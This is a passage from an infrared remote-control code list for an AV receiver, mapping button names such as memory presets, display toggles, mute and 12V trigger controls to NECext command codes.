-protocol: NECext -address: 7E 00 00 00 -command: 28 00 00 00 -# -name: MZ:_SPKR_B_SET_MAIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 28 00 00 00 -# -name: MUTE_OFF_ALL_ZONES -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 28 00 00 00 -# -name: SPKR_B_MAIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 28 00 00 00 -# -name: AZ:_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 28 00 00 00 -# -name: MZ:_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 28 00 00 00 -# -name: SPKR_B_SET_Z2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 29 00 00 00 -# -name: SP_B_SET_ZONE_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 29 00 00 00 -# -name: MZ:_SPKR_B_ZONE_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 29 00 00 00 -# -name: MUTE_ON_(-20DB) -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 29 00 00 00 -# -name: SPKR_B_ZB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 29 00 00 00 -# -name: Z2:_MUTE_-20DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 29 00 00 00 -# -name: MUTE_-20DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 29 00 00 00 -# -name: MUTE_-20DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 29 00 00 00 -# -name: MUTE_ON_(-20DB) -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2A 00 00 00 -# -name: POWER_ON/STANDBY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2A 00 00 00 -# -name: MZ_POWER_TOGGLE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2A 00 00 00 -# -name: Z3:_MUTE_-20DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2A 00 00 00 -# -name: MUTE_-20DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2A 00 00 00 -# -name: MUTE_-20DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2A 00 00 00 -# -name: HOME_MEMORY_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2B 00 00 00 -# -name: HM_BK_PRESET_MEM_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2B 00 00 00 -# -name: MZ:_HM_P_MEM_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2B 00 00 00 -# -name: MZ:_SYS_MEM_SAVE_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2B 00 00 00 -# -name: SYS_MEM_SAVE_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2B 00 00 00 -# -name: SYS_MEM:_SAVE_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2B 00 00 00 -# -name: MZ:_SYSM_MEM_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2B 00 00 00 -# -name: Z4:_MUTE_-20DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2B 00 00 00 -# -name: HOME_BANK_MEMORY_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2B 00 00 00 -# -name: MZ:_SYSM_MEM_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2B 00 00 00 -# -name: HOME_MEMORY_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2C 00 00 00 -# -name: HM_BK_PRESET_MEM_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2C 00 00 00 -# -name: MZ:_HM_P_MEM_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2C 00 00 00 -# -name: MZ:_SYS_MEM_SAVE_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2C 00 00 00 -# -name: SYS_MEM_SAVE_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2C 00 00 00 -# -name: SYS_MEM:_SAVE_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2C 00 00 00 -# -name: SYS_MEM_2_MEMORY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2C 00 00 00 -# -name: MUTE_ON_(-20DB)_AZ -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2C 00 00 00 -# -name: MZ:_SYSM_MEM_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2C 00 00 00 -# -name: AZ:_MUTE_-20DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2C 00 00 00 -# -name: HOME_BANK_MEMORY_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2C 00 00 00 -# -name: MZ:_MUTE_ON_-20DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2C 00 00 00 -# -name: MZ:_SYSM_MEM_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2C 00 00 00 -# -name: HOME_MEMORY_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2D 00 00 00 -# -name: HM_BK_PRESET_MEM_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2D 00 00 00 -# -name: MZ:_HM_P_MEM_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2D 00 00 00 -# -name: MZ:_SYS_MEM_SAVE_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2D 00 00 00 -# -name: SYS_MEM_SAVE_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2D 00 00 00 -# -name: SYS_MEM:_SAVE_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2D 00 00 00 -# -name: SYS_MEM_3_MEMORY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2D 00 00 00 -# -name: MZ:_SYSM_MEM_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2D 00 00 00 -# -name: SRCE:_Z2_DISPL_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2D 00 00 00 -# -name: Z2:_DISPLAY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2D 00 00 00 -# -name: HOME_BANK_MEMORY_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2D 00 00 00 -# -name: MZ:_SYSM_MEM_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2D 00 00 00 -# -name: DISPLAY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2D 00 00 00 -# -name: DISPLAY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2D 00 00 00 -# -name: SOURCE:_DISPLAY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2D 00 00 00 -# -name: HOME_MEMORY_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2E 00 00 00 -# -name: HM_BK_PRESET_MEM_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2E 00 00 00 -# -name: MZ:_HM_P_MEM_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2E 00 00 00 -# -name: MZ:_SYS_MEM_SAVE_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2E 00 00 00 -# -name: SYS_MEM_SAVE_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2E 00 00 00 -# -name: SYS_MEM:_SAVE_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2E 00 00 00 -# -name: SYS_MEM_4_MEMORY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2E 00 00 00 -# -name: DISP_DISPLAY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2E 00 00 00 -# -name: MZ:_SYSM_MEM_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2E 00 00 00 -# -name: SRCE:_Z3_DISPL_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2E 00 00 00 -# -name: Z3:_DISPLAY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2E 00 00 00 -# -name: HOME_BANK_MEMORY_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2E 00 00 00 -# -name: MZ:_SYSM_MEM_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2E 00 00 00 -# -name: DISPLAY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2E 00 00 00 -# -name: DISPLAY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2E 00 00 00 -# -name: HOME_MEMORY_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2F 00 00 00 -# -name: HM_BK_PRESET_MEM_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2F 00 00 00 -# -name: MZ:_HM_P_MEM_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2F 00 00 00 -# -name: MZ:_SYS_MEM_SAVE_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2F 00 00 00 -# -name: SYS_MEM_SAVE_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2F 00 00 00 -# -name: SYS_MEM:_SAVE_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2F 00 00 00 -# -name: SYS_MEM_5_MEMORY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2F 00 00 00 -# -name: MZ:_SYSM_MEM_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2F 00 00 00 -# -name: SRCE:_Z4_DISPL_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2F 00 00 00 -# -name: Z4:_DISPLAY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2F 00 00 00 -# -name: HOME_BANK_MEMORY_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2F 00 00 00 -# -name: MZ:_SYSM_MEM_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2F 00 00 00 -# -name: DISPLAY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 2F 00 00 00 -# -name: HOME_MEMORY_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 30 00 00 00 -# -name: HOME_RECALL_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 30 00 00 00 -# -name: HM_BK_PRESET_MEM_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 30 00 00 00 -# -name: MZ:_HM_P_MEM_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 30 00 00 00 -# -name: MZ:_SYS_MEM_SAVE_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 30 00 00 00 -# -name: SYS_MEM_SAVE_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 30 00 00 00 -# -name: SYS_MEM:_SAVE_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 30 00 00 00 -# -name: SYS_MEM_6_MEMORY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 30 00 00 00 -# -name: DISP_DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 30 00 00 00 -# -name: MZ:_SYSM_MEM_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 30 00 00 00 -# -name: SRCE:_Z2_DISPL_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 30 00 00 00 -# -name: Z2:_DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 30 00 00 00 -# -name: HOME_BANK_MEMORY_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 30 00 00 00 -# -name: MZ:_SYSM_MEM_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 30 00 00 00 -# -name: DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 30 00 00 00 -# -name: DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 30 00 00 00 -# -name: SOURCE:_DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 30 00 00 00 -# -name: 12V:_DC1_CTL_Z3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 31 00 00 00 -# -name: DC1_TRIG_CTRL_Z3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 31 00 00 00 -# -name: DC1_TRG_CTL:_ZONE_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 31 00 00 00 -# -name: DC1_TRIGGER_CONTROL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 31 00 00 00 -# -name: DISP_DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 31 00 00 00 -# -name: SRCE:_Z3_DISPL_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 31 00 00 00 -# -name: Z3:_DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 31 00 00 00 -# -name: SETMENU_EXTENDED -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 31 00 00 00 -# -name: TRIGGER_1_CTRL_Z3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 31 00 00 00 -# -name: DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 31 00 00 00 -# -name: TRIGGER_1_CTRL_Z3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 31 00 00 00 -# -name: DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 31 00 00 00 -# -name: DC1_TRG_CTRL_Z1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: DC1_TRG_CTRL_ZONE1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: DC1_TRG_CTRL_Z1_&_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: 12V:_DC1_CTL_Z1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: DC1_TRIG_CTRL_Z1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: DC1_TRG_CTRL_ZONE_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: DC1_TRG_CTL:_ZONE_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: DC1_TRIGGER_CONTROL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: TRIGGER_CTR:_ZONE_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: MAIN:DC1_TRIGGER_CTR -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: 12V:_DC1_CNTL_Z1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: DC1_TRG_CTL_Z1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: DC1_TRIG_MZ_TOGGLE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: SRCE:_Z4_DISPL_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: Z4:_DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: DC_TRG_CTRL_ZONE1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: TRIGGER:_1_CTRL_MZ -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: TRIGGER:_1_CTRL_MZ -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: DC1_TRG_CTRL_Z2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 33 00 00 00 -# -name: DC1_TRG_CTRL_ZONE2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 33 00 00 00 -# -name: 12V:_DC1_CTL_Z2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 33 00 00 00 -# -name: DC1_TRIG_CTRL_Z2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 33 00 00 00 -# -name: DC1_TRG_CTRL_ZONE_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 33 00 00 00 -# -name: DC1_TRG_CTL:_ZONE_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 33 00 00 00 -# -name: DC1_TRIGGER_CONTROL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 33 00 00 00 -# -name: TRIGGER_CTL:_ZONE_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 33 00 00 00 -# -name: Z2:_DC1_TRIGGER_CTRL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 33 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 33 00 00 00 -# -name: 12V:_DC1_CNTL_Z2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 33 00 00 00 -# -name: DC1_TRG_CTL_Z2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 33 00 00 00 -# -name: DECOD:_3D_DSP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 33 00 00 00 -# -name: DC_TRG_CTRL_ZONE2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 33 00 00 00 -# -name: DSP:_3D_DSP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 33 00 00 00 -# -name: DSP:_3D_DSP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 33 00 00 00 -# -name: TRIGGER_1_CTRL_Z2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 33 00 00 00 -# -name: TRIGGER_1_CTRL_Z2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 33 00 00 00 -# -name: DC1_TRG_CTRL_ALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 34 00 00 00 -# -name: DC1_TRG_CTRL_ALL_OR -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 34 00 00 00 -# -name: 12V:_DC1_CTL_ALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 34 00 00 00 -# -name: DC1_TRIG_CTRL_ALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 34 00 00 00 -# -name: DSP_3D_DSP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 34 00 00 00 -# -name: DSP_3D_DSP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 34 00 00 00 -# -name: DC1_TRG_CTL:_ALL_OR -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 34 00 00 00 -# -name: DC1_TRG_CTRL_ALL_ZON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 34 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 34 00 00 00 -# -name: TRIGGER_CTL:_ALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 34 00 00 00 -# -name: 12V:_DC1_CNTL_ALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 34 00 00 00 -# -name: DC1_TRG_CTL_ALL_OR -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 34 00 00 00 -# -name: DECOD:_3D_DSP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 34 00 00 00 -# -name: DC_TRG_CTRL_ZONE1/2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 34 00 00 00 -# -name: DSP:_3D_DSP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 34 00 00 00 -# -name: DSP:_3D_DSP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 34 00 00 00 -# -name: HOME_RECALL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 35 00 00 00 -# -name: HM_BK_PRESET_RCL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 35 00 00 00 -# -name: MZ:_HM_P_RECL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 35 00 00 00 -# -name: MZ:_SYS_MEM_LOAD_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 35 00 00 00 -# -name: SYS_MEM_LOAD_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 35 00 00 00 -# -name: SYS_MEM:_LOAD_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 35 00 00 00 -# -name: SYS_MEM_1_RECALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 35 00 00 00 -# -name: MZ:_SYSM_REC_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 35 00 00 00 -# -name: PARTY:_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 35 00 00 00 -# -name: HOME_BANK_RECALL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 35 00 00 00 -# -name: PARTY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 35 00 00 00 -# -name: DUAL_MONO_ALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 35 00 00 00 -# -name: MZ:_SYSM_REC_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 35 00 00 00 -# -name: PARTY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 35 00 00 00 -# -name: HOME_RECALL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 36 00 00 00 -# -name: HM_BK_PRESET_RCL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 36 00 00 00 -# -name: MZ:_HM_P_RECL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 36 00 00 00 -# -name: MZ:_SYS_MEM_LOAD_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 36 00 00 00 -# -name: SYS_MEM_LOAD_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 36 00 00 00 -# -name: SYS_MEM:_LOAD_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 36 00 00 00 -# -name: SYS_MEM_2_RECALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 36 00 00 00 -# -name: MZ:_SYSM_REC_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 36 00 00 00 -# -name: PARTY:_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 36 00 00 00 -# -name: HOME_BANK_RECALL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 36 00 00 00 -# -name: PARTY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 36 00 00 00 -# -name: MZ:_SYSM_REC_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 36 00 00 00 -# -name: PARTY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 36 00 00 00 -# -name: HOME_RECALL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 37 00 00 00 -# -name: HM_BK_PRESET_RCL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 37 00 00 00 -# -name: MZ:_HM_P_RECL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 37 00 00 00 -# -name: MZ:_SYS_MEM_LOAD_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 37 00 00 00 -# -name: SYS_MEM_LOAD_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 37 00 00 00 -# -name: SYS_MEM:_LOAD_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 37 00 00 00 -# -name: SYS_MEM_3_RECALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 37 00 00 00 -# -name: MZ:_SYSM_REC_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 37 00 00 00 -# -name: MZ:_SYSM_MEM_7 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 37 00 00 00 -# -name: HOME_BANK_RECALL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 37 00 00 00 -# -name: MZ:_SYSM_REC_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 37 00 00 00 -# -name: HOME_RECALL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 38 00 00 00 -# -name: HM_BK_PRESET_RCL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 38 00 00 00 -# -name: MZ:_HM_P_RECL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 38 00 00 00 -# -name: MZ:_SYS_MEM_LOAD_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 38 00 00 00 -# -name: SYS_MEM_LOAD_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 38 00 00 00 -# -name: SYS_MEM:_LOAD_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 38 00 00 00 -# -name: SYS_MEM_4_RECALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 38 00 00 00 -# -name: MZ:_SYSM_REC_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 38 00 00 00 -# -name: MZ:_SYSM_MEM_8 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 38 00 00 00 -# -name: HOME_BANK_RECALL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 38 00 00 00 -# -name: MZ:_SYSM_REC_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 38 00 00 00 -# -name: HOME_RECALL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 39 00 00 00 -# -name: HM_BK_PRESET_RCL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 39 00 00 00 -# -name: MZ:_HM_P_RECL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 39 00 00 00 -# -name: MZ:_SYS_MEM_LOAD_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 39 00 00 00 -# -name: SYS_MEM_LOAD_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 39 00 00 00 -# -name: SYS_MEM:_LOAD_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 39 00 00 00 -# -name: SYS_MEM_5_RECALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 39 00 00 00 -# -name: MZ:_SYSM_REC_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 39 00 00 00 -# -name: MZ:_SYSM_MEM_9 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 39 00 00 00 -# -name: HOME_BANK_RECALL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 39 00 00 00 -# -name: MZ:_SYSM_REC_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 39 00 00 00 -# -name: HM_BK_PRESET_RCL_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3A 00 00 00 -# -name: MZ:_HM_P_RECL_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3A 00 00 00 -# -name: MZ:_SYS_MEM_LOAD_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3A 00 00 00 -# -name: SYS_MEM_LOAD_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3A 00 00 00 -# -name: SYS_MEM:_LOAD_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3A 00 00 00 -# -name: SYS_MEM_6_RECALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3A 00 00 00 -# -name: MZ:_SYSM_REC_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3A 00 00 00 -# -name: MZ:_SYSM_MEM_10 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3A 00 00 00 -# -name: HOME_BANK_RECALL_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3A 00 00 00 -# -name: MZ:_SYSM_REC_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3A 00 00 00 -# -name: MZ:_SYSM_REC_7 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3B 00 00 00 -# -name: 12V:_DC2_Z2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3C 00 00 00 -# -name: DC2_TRIG_Z2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3C 00 00 00 -# -name: DC2_TRG_ZONE_2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3C 00 00 00 -# -name: ZONE2_DC2_TRG_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3C 00 00 00 -# -name: DC2_TRIGGER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3C 00 00 00 -# -name: MZ:_SYSM_REC_8 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3C 00 00 00 -# -name: TRIGGER_2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3C 00 00 00 -# -name: TRIGGER_2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3C 00 00 00 -# -name: 12V:_DC2_Z2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3D 00 00 00 -# -name: DC2_TRIG_Z2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3D 00 00 00 -# -name: DC2_TRG_ZONE_2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3D 00 00 00 -# -name: ZONE2_DC2_TRG_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 3D 00 00 00 -# -name: 